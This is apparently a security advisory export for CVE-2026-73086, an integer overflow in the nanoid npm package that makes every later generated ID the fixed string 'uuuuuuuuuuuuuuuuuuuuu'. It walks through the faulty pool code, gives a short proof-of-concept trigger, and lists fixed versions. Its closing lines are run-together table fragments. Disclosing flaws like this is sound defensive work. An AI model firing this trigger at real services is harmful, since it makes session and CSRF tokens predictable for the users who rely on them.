nanoid
Affected
- introduced
0, fixed3.3.12(semver)
Fixed versions
3.3.12
Fix
- Fixed version
3.3.12npm install [email protected]
Advisory
Also known as: CVE-2026-73086
nanoid: Integer Overflow or Wraparound
Summary
An integer overflow in nanoid(size) permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string "uuuuuuuuuuuuuuuuuuuuu". Any application that passes user-influenced values to the size parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart.
Details
nanoid() at `index.js:101` coerces the size parameter with size |= 0, which converts it to a signed 32-bit integer. When size >= 2^31 (e.g., 2147483648), this wraps to -2147483648.
The negative value is passed to fillPool() (`index.js:15`):
function fillPool(bytes) {
if (!pool || pool.length < bytes) { // false: pool exists, -2B < pool.length
pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER)
crypto.getRandomValues(pool)
poolOffset = 0
} else if (poolOffset + bytes > pool.length) { // false: poolOffset + (-2B) < pool.length
crypto.getRandomValues(pool)
poolOffset = 0
}
poolOffset += bytes // poolOffset += -2147483648 → deeply negative
}
Neither branch triggers, so the pool is never refreshed. poolOffset becomes ~-2.1 billion.
Subsequent nanoid() calls execute:
for (let i = poolOffset - size; i < poolOffset; i++) {
id += scopedUrlAlphabet[pool[i] & 63]
}
pool[negative_index] returns undefined. undefined & 63 evaluates to 0. urlAlphabet[0] is 'u'. Every ID becomes "uuuuuuuuuuuuuuuuuuuuu".
The corruption is persistent — it affects all subsequent calls in the process until ~100 million calls eventually wrap poolOffset back to positive, or the process restarts.
PoC
import { nanoid } from 'nanoid'
// Step 1: Normal operation
console.log(nanoid()) // e.g., "V1StGXR8_Z5jdHi6B-myT"
// Step 2: Trigger overflow (e.g., from an API parameter)
try { nanoid(2147483648) } catch(e) {}
// Step 3: All subsequent IDs are deterministic
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
// ... forever, process-wide
Run with: node --experimental-vm-modules poc.mjs
Attack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to nanoid(userInput).
Impact
Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.
nanoid in the same processsize parameter without validationHigh Basis: The source's own band: HIGH
0, fixed 3.3.12 (semver)3.3.12
3.3.12npm install [email protected]4.0.0, fixed 5.1.11 (semver)5.1.11
5.1.11npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0